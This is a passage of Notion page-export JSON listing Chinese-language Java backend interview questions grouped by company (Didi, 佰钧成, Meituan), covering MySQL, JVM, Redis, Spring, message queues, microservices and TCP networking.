-d4eb-4b4e-9d22-2887ddb597c6","type":"bulleted_list","properties":{"title":[["介绍项目,项目中的难点(15min)"]]},"created_time":1712329332823,"last_edited_time":1712329332823,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"851888a0-d488-4011-9ad3-db7bf59c8824":{"value":{"id":"851888a0-d488-4011-9ad3-db7bf59c8824","type":"bulleted_list","properties":{"title":[["MySQL是如何优化的,数据量有多少"]]},"created_time":1712329332823,"last_edited_time":1712329332823,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"14901e30-c437-4e50-9e9d-780b0dfcae73":{"value":{"id":"14901e30-c437-4e50-9e9d-780b0dfcae73","type":"bulleted_list","properties":{"title":[["倒排索引与正排索引的区别"]]},"created_time":1712329332823,"last_edited_time":1712329332823,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f95d18de-eeb0-47ca-92ef-1b384280d345":{"value":{"id":"f95d18de-eeb0-47ca-92ef-1b384280d345","type":"bulleted_list","properties":{"title":[["ElasticSearch的原理(倒排索引+TF/IDF)"]]},"created_time":1712329332824,"last_edited_time":1712329332824,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1900cce8-ce98-44e0-bc9e-0f12fb57ab33":{"value":{"id":"1900cce8-ce98-44e0-bc9e-0f12fb57ab33","type":"bulleted_list","properties":{"title":[["Zookeeper用过吗,介绍一下"]]},"created_time":1712329332824,"last_edited_time":1712329332824,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"35c983e7-4e6a-4c21-a2fb-eb6c5a2ea627":{"value":{"id":"35c983e7-4e6a-4c21-a2fb-eb6c5a2ea627","type":"bulleted_list","properties":{"title":[["Zookeeper一般用在什么场景"]]},"created_time":1712329332824,"last_edited_time":1712329332824,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bf4a7c2c-1c07-45d2-9cbb-593c79f0b5f8":{"value":{"id":"bf4a7c2c-1c07-45d2-9cbb-593c79f0b5f8","type":"bulleted_list","properties":{"title":[["除了ZAB协议,在介绍几个分布式一致性协议(Paxos、Raft)"]]},"created_time":1712329332824,"last_edited_time":1712329332824,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"47cae7c8-a3c5-4ad5-aa5d-41a9136da696":{"value":{"id":"47cae7c8-a3c5-4ad5-aa5d-41a9136da696","type":"bulleted_list","properties":{"title":[["线程池的几种拒绝策略及其应用场景"]]},"created_time":1712329332824,"last_edited_time":1712329332824,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a2ad1f75-82ab-442d-a311-1ccc17eea59c":{"value":{"id":"a2ad1f75-82ab-442d-a311-1ccc17eea59c","type":"header","properties":{"title":[["13.滴滴"]]},"created_time":1712334959041,"last_edited_time":1712334979432,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"343321b2-150d-461c-82e6-6f7cccb0840e":{"value":{"id":"343321b2-150d-461c-82e6-6f7cccb0840e","type":"bulleted_list","properties":{"title":[["LSM-tree应用在那些场景、优缺点"]]},"created_time":1712329332825,"last_edited_time":1712329332825,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b570a5c9-06b4-4a59-bb54-977ca1a09ab7":{"value":{"id":"b570a5c9-06b4-4a59-bb54-977ca1a09ab7","type":"bulleted_list","properties":{"title":[["写SQL:查询每个班级成绩排名前五的学生及成绩"]]},"created_time":1712329332825,"last_edited_time":1712329332825,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3680a251-b89c-429c-9fc5-afcf35e4d19f":{"value":{"id":"3680a251-b89c-429c-9fc5-afcf35e4d19f","type":"bulleted_list","properties":{"title":[["你对滴滴有什么了解,知道我们的技术栈吗"]]},"created_time":1712329332825,"last_edited_time":1712329332825,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5fe27bd3-de3c-4665-b34f-ddc7cbe8925b":{"value":{"id":"5fe27bd3-de3c-4665-b34f-ddc7cbe8925b","type":"bulleted_list","properties":{"title":[["Java集合类常用哪些,ArrayList与LinkedList区别;HashMap底层实现,为什么扩容是2的幂次;如果想要线程安全该怎么用"]]},"created_time":1712329332825,"last_edited_time":1712329332825,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"89eeb9c5-a026-43c0-8cda-9dddaa2b5fc3":{"value":{"id":"89eeb9c5-a026-43c0-8cda-9dddaa2b5fc3","type":"bulleted_list","properties":{"title":[["JUC包下对哪些类了解,synchronized和JDK提供的锁区别;CAS原理,ABA问题;锁升级过程讲一下;volatile讲一下,为什么不能保证原子性"]]},"created_time":1712329332826,"last_edited_time":1712329332826,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6e6d1a76-1701-474d-b253-adff3505695b":{"value":{"id":"6e6d1a76-1701-474d-b253-adff3505695b","type":"bulleted_list","properties":{"title":[["JVM内存模型,新生代有哪些区,作用是什么;如何判断对象是否可以被回收(1引用计数2可达性分析)"]]},"created_time":1712329332826,"last_edited_time":1712329332826,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0c0afd00-0fe2-4603-804b-7d97775f3ad4":{"value":{"id":"0c0afd00-0fe2-4603-804b-7d97775f3ad4","type":"bulleted_list","properties":{"title":[["JVM常用垃圾回收算法,讲一下CMS原理"]]},"created_time":1712329332826,"last_edited_time":1712329332826,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"777444d0-2724-46e1-9a8d-80ff9cc29433":{"value":{"id":"777444d0-2724-46e1-9a8d-80ff9cc29433","type":"bulleted_list","properties":{"title":[["Redis常用数据结构;有序集合底层实现;查找排名在底层如何实现;如何用Redis实现分布式锁,可能遇到的问题和解决办法"]]},"created_time":1712329332826,"last_edited_time":1712329332826,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4ca3a490-63d0-4580-a218-0f566abfacdf":{"value":{"id":"4ca3a490-63d0-4580-a218-0f566abfacdf","type":"bulleted_list","properties":{"title":[["手撕一个二分查找"]]},"created_time":1712329332826,"last_edited_time":1712329332826,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b0d68024-1c45-4af0-9a3f-9e47bcdeaa63":{"value":{"id":"b0d68024-1c45-4af0-9a3f-9e47bcdeaa63","type":"bulleted_list","properties":{"title":[["聊计网,TCP3次握手过程,第三次是否可以携带数据,如何避免SYN攻击(syncookies);TCP四次挥手说一下,为什么要等待2MSL,第二次和第三次挥手是否可以合并(可以)。"]]},"created_time":1712329332827,"last_edited_time":1712329332827,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6daadbca-5895-46c0-b872-c03f52e03600":{"value":{"id":"6daadbca-5895-46c0-b872-c03f52e03600","type":"bulleted_list","properties":{"title":[["操作系统,进程、线程和协程的区别;如果创建很多个线程会有什么问题;进程间通信方式有哪些"]]},"created_time":1712329332827,"last_edited_time":1712329332827,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"79eff64b-36d9-489c-9108-8ac990106a56":{"value":{"id":"79eff64b-36d9-489c-9108-8ac990106a56","type":"bulleted_list","properties":{"title":[["MySQL索引如何实现,为什么用B+树不用B树二叉树;聚簇索引和非聚簇索引的区别;平时索引优化如何做,最左匹配原则;"]]},"created_time":1712329332827,"last_edited_time":1712329332827,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"77996f1b-923e-40f6-88b8-b1adb3ddd2ee":{"value":{"id":"77996f1b-923e-40f6-88b8-b1adb3ddd2ee","type":"text","created_time":1712329332828,"last_edited_time":1712335000771,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7cb429a2-3f56-460b-8b32-5cdb0113e124":{"value":{"id":"7cb429a2-3f56-460b-8b32-5cdb0113e124","type":"header","properties":{"title":[["14.佰钧成"]]},"created_time":1712329332829,"last_edited_time":1712334998193,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3de82383-cf0f-4c98-8834-27fa1e6c1745":{"value":{"id":"3de82383-cf0f-4c98-8834-27fa1e6c1745","type":"bulleted_list","properties":{"title":[["mysql隔离级别"]]},"created_time":1712329332829,"last_edited_time":1712329332829,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8bc49f30-6c62-4ca0-8a5d-3a56b61d80a6":{"value":{"id":"8bc49f30-6c62-4ca0-8a5d-3a56b61d80a6","type":"bulleted_list","properties":{"title":[["springaop属于什么设计模式"]]},"created_time":1712329332829,"last_edited_time":1712329332829,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"04231c4a-1b44-4084-a0a6-52ed11bbe2b5":{"value":{"id":"04231c4a-1b44-4084-a0a6-52ed11bbe2b5","type":"bulleted_list","properties":{"title":[["设计模式了解哪些"]]},"created_time":1712329332830,"last_edited_time":1712329332830,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"dd15a193-9f75-4b00-9e08-e0a63b4ee5f9":{"value":{"id":"dd15a193-9f75-4b00-9e08-e0a63b4ee5f9","type":"bulleted_list","properties":{"title":[["springmvc流程"]]},"created_time":1712329332830,"last_edited_time":1712329332830,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4bc71c0c-c13a-4580-94b8-75277e0d1dd5":{"value":{"id":"4bc71c0c-c13a-4580-94b8-75277e0d1dd5","type":"bulleted_list","properties":{"title":[["多线程链接池的原理"]]},"created_time":1712329332830,"last_edited_time":1712329332830,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4e589a31-1cec-4618-a995-ab542b20bc36":{"value":{"id":"4e589a31-1cec-4618-a995-ab542b20bc36","type":"bulleted_list","properties":{"title":[["aop的应用"]]},"created_time":1712329332830,"last_edited_time":1712329332830,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7b506e35-eb8b-46e4-8194-be07a703d6b9":{"value":{"id":"7b506e35-eb8b-46e4-8194-be07a703d6b9","type":"bulleted_list","properties":{"title":[["spring如何赋值给属性类"]]},"created_time":1712329332831,"last_edited_time":1712329332831,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9c4733c3-e51e-4075-a2bf-33c735316626":{"value":{"id":"9c4733c3-e51e-4075-a2bf-33c735316626","type":"bulleted_list","properties":{"title":[["springaop设计模式"]]},"created_time":1712329332831,"last_edited_time":1712329332831,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b449a9bb-08ea-4321-900a-51d8169e74a4":{"value":{"id":"b449a9bb-08ea-4321-900a-51d8169e74a4","type":"bulleted_list","properties":{"title":[["sql优化"]]},"created_time":1712329332831,"last_edited_time":1712329332831,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"84ac8bfe-08e7-41dd-a7b7-2a0b7b1a88cf":{"value":{"id":"84ac8bfe-08e7-41dd-a7b7-2a0b7b1a88cf","type":"bulleted_list","properties":{"title":[["sprng、boot用过没有"]]},"created_time":1712329332831,"last_edited_time":1712329332831,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5db93175-51f5-4935-9a96-50398f17697d":{"value":{"id":"5db93175-51f5-4935-9a96-50398f17697d","type":"bulleted_list","properties":{"title":[["wait和sleep区别,如果sleep还未到时间我要唤醒如何做?"]]},"created_time":1712329332832,"last_edited_time":1712329332832,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"61b5ce3c-4647-4a3a-86b7-1ada3c629126":{"value":{"id":"61b5ce3c-4647-4a3a-86b7-1ada3c629126","type":"bulleted_list","properties":{"title":[["sql优化?具体怎么优化? # 三年"]]},"created_time":1712329332832,"last_edited_time":1712329332832,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4330d43f-3330-4147-874c-7163cc1d4600":{"value":{"id":"4330d43f-3330-4147-874c-7163cc1d4600","type":"bulleted_list","properties":{"title":[["为什么用es,与solr对比"]]},"created_time":1712329332832,"last_edited_time":1712329332832,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"09e8ea34-21ce-49c1-b3a4-2a5f7b9ac782":{"value":{"id":"09e8ea34-21ce-49c1-b3a4-2a5f7b9ac782","type":"bulleted_list","properties":{"title":[["es怎么用的,怎么保持一致性"]]},"created_time":1712329332833,"last_edited_time":1712329332833,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"59900811-e198-470d-9c81-5cf81ecddb42":{"value":{"id":"59900811-e198-470d-9c81-5cf81ecddb42","type":"bulleted_list","properties":{"title":[["为什么用springcloud,与dubbo对比"]]},"created_time":1712329332833,"last_edited_time":1712329332833,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"83bf340c-6aaa-4cc4-8bb3-a823352cd0db":{"value":{"id":"83bf340c-6aaa-4cc4-8bb3-a823352cd0db","type":"bulleted_list","properties":{"title":[["mysql 优化经验 索引"]]},"created_time":1712329332833,"last_edited_time":1712329332833,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"36ab032e-d669-44df-ad16-30cb2afe446e":{"value":{"id":"36ab032e-d669-44df-ad16-30cb2afe446e","type":"bulleted_list","properties":{"title":[["mysql用什么隔离级别,考虑过用RC吗"]]},"created_time":1712329332833,"last_edited_time":1712329332833,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5ff00866-2f37-4402-9739-2f159fa24362":{"value":{"id":"5ff00866-2f37-4402-9739-2f159fa24362","type":"bulleted_list","properties":{"title":[["mq对比,要求可靠性,高吞吐用哪个mq"]]},"created_time":1712329332834,"last_edited_time":1712329332834,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"39da75a3-9f40-4cdc-af96-35533ad40c9d":{"value":{"id":"39da75a3-9f40-4cdc-af96-35533ad40c9d","type":"bulleted_list","properties":{"title":[["redis数据类型 用那种多一点 分布式锁"]]},"created_time":1712329332834,"last_edited_time":1712329332834,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"273b18e4-7562-40ea-85a7-b1e677844bd1":{"value":{"id":"273b18e4-7562-40ea-85a7-b1e677844bd1","type":"bulleted_list","properties":{"title":[["redis扛不住怎么办,不允许限流降级"]]},"created_time":1712329332834,"last_edited_time":1712329332834,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c3a929c0-a87a-4cea-914a-07819f1eb8e2":{"value":{"id":"c3a929c0-a87a-4cea-914a-07819f1eb8e2","type":"bulleted_list","properties":{"title":[["项目中用的哪个回收器,G1回收流程,G1适合的场景"]]},"created_time":1712329332835,"last_edited_time":1712329332835,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fc91e8e2-86b2-4317-b21d-58ce0649ad61":{"value":{"id":"fc91e8e2-86b2-4317-b21d-58ce0649ad61","type":"bulleted_list","properties":{"title":[["多线程方面用过什么,线程池,哪几种,怎么用的"]]},"created_time":1712329332835,"last_edited_time":1712329332835,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"99c66cb3-4b02-4a02-8165-777198cf7770":{"value":{"id":"99c66cb3-4b02-4a02-8165-777198cf7770","type":"bulleted_list","properties":{"title":[["spring aop原理"]]},"created_time":1712329332835,"last_edited_time":1712329332835,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"20ed2989-6150-4923-af80-c485c6f5cf45":{"value":{"id":"20ed2989-6150-4923-af80-c485c6f5cf45","type":"bulleted_list","properties":{"title":[["数据库查询优化,索引"]]},"created_time":1712329332835,"last_edited_time":1712329332835,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"37bd44f1-03b2-4c1f-ad47-b31c88d05887":{"value":{"id":"37bd44f1-03b2-4c1f-ad47-b31c88d05887","type":"bulleted_list","properties":{"title":[["数据库锁表怎么解决"]]},"created_time":1712329332836,"last_edited_time":1712329332836,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d53284c0-b826-4460-914b-b24a8b1c71ae":{"value":{"id":"d53284c0-b826-4460-914b-b24a8b1c71ae","type":"bulleted_list","properties":{"title":[["java syncronized 原理"]]},"created_time":1712329332836,"last_edited_time":1712329332836,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f9bc246c-d232-4823-a0dd-f32cf863307b":{"value":{"id":"f9bc246c-d232-4823-a0dd-f32cf863307b","type":"bulleted_list","properties":{"title":[["volatile"]]},"created_time":1712329332836,"last_edited_time":1712329332836,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"72983903-d283-4977-a102-0b0842d5fde1":{"value":{"id":"72983903-d283-4977-a102-0b0842d5fde1","type":"bulleted_list","properties":{"title":[["spring ioc & aop"]]},"created_time":1712329332837,"last_edited_time":1712329332837,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c260fe9d-d439-4135-85ef-b8a73e741487":{"value":{"id":"c260fe9d-d439-4135-85ef-b8a73e741487","type":"bulleted_list","properties":{"title":[["spring中设计模式"]]},"created_time":1712329332837,"last_edited_time":1712329332837,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9b78a72c-4042-454e-b949-4d6b8b0b3ba7":{"value":{"id":"9b78a72c-4042-454e-b949-4d6b8b0b3ba7","type":"bulleted_list","properties":{"title":[["单例模式 duble check"]]},"created_time":1712329332837,"last_edited_time":1712329332837,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"07260045-90ad-4d82-b06f-156fea3c47d2":{"value":{"id":"07260045-90ad-4d82-b06f-156fea3c47d2","type":"text","created_time":1712335008155,"last_edited_time":1712335008155,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"db53342d-2ce8-458f-bd32-2fd071a10424":{"value":{"id":"db53342d-2ce8-458f-bd32-2fd071a10424","type":"header","properties":{"title":[["15.佰钧成"]]},"created_time":1712335006918,"last_edited_time":1712335019702,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"86d5a189-accb-4b1d-af42-65ba3d9ff59f":{"value":{"id":"86d5a189-accb-4b1d-af42-65ba3d9ff59f","type":"bulleted_list","properties":{"title":[["jvm 组成"]]},"created_time":1712329332837,"last_edited_time":1712329332837,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"44847658-cc5b-4aa9-91bf-a41ac923f00d":{"value":{"id":"44847658-cc5b-4aa9-91bf-a41ac923f00d","type":"bulleted_list","properties":{"title":[["垃圾收集器"]]},"created_time":1712329332838,"last_edited_time":1712329332838,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f43e1b32-0db2-4f56-ac9e-3479bc0a2f10":{"value":{"id":"f43e1b32-0db2-4f56-ac9e-3479bc0a2f10","type":"bulleted_list","properties":{"title":[["String StringBuilder StringBuffer"]]},"created_time":1712329332838,"last_edited_time":1712329332838,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bed31dbf-bda7-4378-adf7-2ebaa17b7b79":{"value":{"id":"bed31dbf-bda7-4378-adf7-2ebaa17b7b79","type":"bulleted_list","properties":{"title":[["创建对象多怎么调整JVM参数"]]},"created_time":1712329332838,"last_edited_time":1712329332838,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e0c54221-3ed2-4d2e-a725-27f1ad26035b":{"value":{"id":"e0c54221-3ed2-4d2e-a725-27f1ad26035b","type":"bulleted_list","properties":{"title":[["mybatis 原理"]]},"created_time":1712329332839,"last_edited_time":1712329332839,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"87dba929-b414-4949-88f4-a56daf222c74":{"value":{"id":"87dba929-b414-4949-88f4-a56daf222c74","type":"bulleted_list","properties":{"title":[["rabbitmq/kafka 怎么保证可靠消息"]]},"created_time":1712329332839,"last_edited_time":1712329332839,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e4ed2ef0-4a31-4ba2-a2ee-5717f8033d47":{"value":{"id":"e4ed2ef0-4a31-4ba2-a2ee-5717f8033d47","type":"bulleted_list","properties":{"title":[["什么情况内存泄漏"]]},"created_time":1712329332839,"last_edited_time":1712329332839,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bdefa62d-d393-4195-84f1-83e7f2fbc724":{"value":{"id":"bdefa62d-d393-4195-84f1-83e7f2fbc724","type":"bulleted_list","properties":{"title":[["静态方法能覆盖吗"]]},"created_time":1712329332840,"last_edited_time":1712329332840,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"388dad7a-6853-44a4-bf04-4dc949575390":{"value":{"id":"388dad7a-6853-44a4-bf04-4dc949575390","type":"bulleted_list","properties":{"title":[["gap lock"]]},"created_time":1712329332840,"last_edited_time":1712329332840,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"917ecf49-cf1f-4121-8800-dcc334b3998b":{"value":{"id":"917ecf49-cf1f-4121-8800-dcc334b3998b","type":"bulleted_list","properties":{"title":[["https原理"]]},"created_time":1712329332840,"last_edited_time":1712329332840,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6fbc2353-e584-4bab-8c43-7452088446f3":{"value":{"id":"6fbc2353-e584-4bab-8c43-7452088446f3","type":"bulleted_list","properties":{"title":[["eureka原理,与zookeeper"]]},"created_time":1712329332840,"last_edited_time":1712329332840,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"62153711-16a8-4ab4-92eb-a671229e900f":{"value":{"id":"62153711-16a8-4ab4-92eb-a671229e900f","type":"bulleted_list","properties":{"title":[["分布式事务"]]},"created_time":1712329332841,"last_edited_time":1712329332841,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"91830927-6c43-412c-be9b-00eb01dbec4e":{"value":{"id":"91830927-6c43-412c-be9b-00eb01dbec4e","type":"bulleted_list","properties":{"title":[["springboot内存占用优化?"]]},"created_time":1712329332841,"last_edited_time":1712329332841,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e148e5ea-bc80-4030-bba5-67c1fcc043ab":{"value":{"id":"e148e5ea-bc80-4030-bba5-67c1fcc043ab","type":"bulleted_list","properties":{"title":[["斐波那契数列 "]]},"created_time":1712329332841,"last_edited_time":1712330881387,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"03fc70f7-11c7-4c91-8159-c52082d636e7":{"value":{"id":"03fc70f7-11c7-4c91-8159-c52082d636e7","type":"bulleted_list","properties":{"title":[["微服务如何拆分"]]},"created_time":1712329332843,"last_edited_time":1712329332843,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"91943a86-404b-4c74-a13c-28b5391ff22e":{"value":{"id":"91943a86-404b-4c74-a13c-28b5391ff22e","type":"bulleted_list","properties":{"title":[["为什么从单体服务过度到微服务"]]},"created_time":1712329332843,"last_edited_time":1712329332843,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8ce42154-e29c-4cda-9c43-212079258395":{"value":{"id":"8ce42154-e29c-4cda-9c43-212079258395","type":"bulleted_list","properties":{"title":[["首先介绍一下单体服务优点:"]]},"created_time":1712329332843,"last_edited_time":1712330890671,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a715e851-88d6-47e4-a6fb-c10bf21e02c8":{"value":{"id":"a715e851-88d6-47e4-a6fb-c10bf21e02c8","type":"bulleted_list","properties":{"title":[["微服务监控怎么做的?"]]},"created_time":1712329332844,"last_edited_time":1712330894451,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0c70bd3e-b534-4915-92f8-5eecb1834ed7":{"value":{"id":"0c70bd3e-b534-4915-92f8-5eecb1834ed7","type":"bulleted_list","properties":{"title":[["如何评估服务应用需要扩容?"]]},"created_time":1712329332846,"last_edited_time":1712330901462,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fc5f4ceb-a170-4078-aada-504141456f49":{"value":{"id":"fc5f4ceb-a170-4078-aada-504141456f49","type":"bulleted_list","properties":{"title":[["如何及时发现系统异常的情况?"]]},"created_time":1712329332847,"last_edited_time":1712330905083,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8c45d28a-93c1-4696-9a7b-9d3f43b7a910":{"value":{"id":"8c45d28a-93c1-4696-9a7b-9d3f43b7a910","type":"bulleted_list","properties":{"title":[["微服务通讯方案如何选择"]]},"created_time":1712329332847,"last_edited_time":1712330915512,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"37bc9322-d904-43d1-bb00-3b9152e1ae94":{"value":{"id":"37bc9322-d904-43d1-bb00-3b9152e1ae94","type":"bulleted_list","properties":{"title":[["分布式中间件如何选型?"]]},"created_time":1712329332848,"last_edited_time":1712330922541,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"471753ec-23f1-4c79-87ec-d6f356aa9aa2":{"value":{"id":"471753ec-23f1-4c79-87ec-d6f356aa9aa2","type":"bulleted_list","properties":{"title":[["微服务分布式事务如何解决"]]},"created_time":1712329332848,"last_edited_time":1712330928358,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8648e105-6b2a-4c6b-ba04-75055c3ce442":{"value":{"id":"8648e105-6b2a-4c6b-ba04-75055c3ce442","type":"bulleted_list","properties":{"title":[["mq 消费失败,如何重发,重复消费问题,消息丢失问题"]]},"created_time":1712329332849,"last_edited_time":1712330952495,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"149f5d8f-ba92-4471-9318-3ab3f6be8218":{"value":{"id":"149f5d8f-ba92-4471-9318-3ab3f6be8218","type":"bulleted_list","properties":{"title":[["Dubbo 系列问题,负载均衡在消费者实现还是服务提供者实现?负载均衡如何实现。服务动态发现如何实现?"]]},"created_time":1712329332850,"last_edited_time":1712330972253,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"83a77581-1e21-42e8-a53a-827170212db9":{"value":{"id":"83a77581-1e21-42e8-a53a-827170212db9","type":"header","properties":{"title":[["16.美团"]]},"created_time":1712329332852,"last_edited_time":1712335045319,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c25c6d5a-58af-4155-ae00-4d8122ae7f6f":{"value":{"id":"c25c6d5a-58af-4155-ae00-4d8122ae7f6f","type":"bulleted_list","properties":{"title":[["String、StringBuffer 和 StringBuilder 的区别"]]},"created_time":1712329332854,"last_edited_time":1712330994959,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"33b86da5-ffda-4ae5-9d47-eb6a050d0cce":{"value":{"id":"33b86da5-ffda-4ae5-9d47-eb6a050d0cce","type":"bulleted_list","properties":{"title":[["String 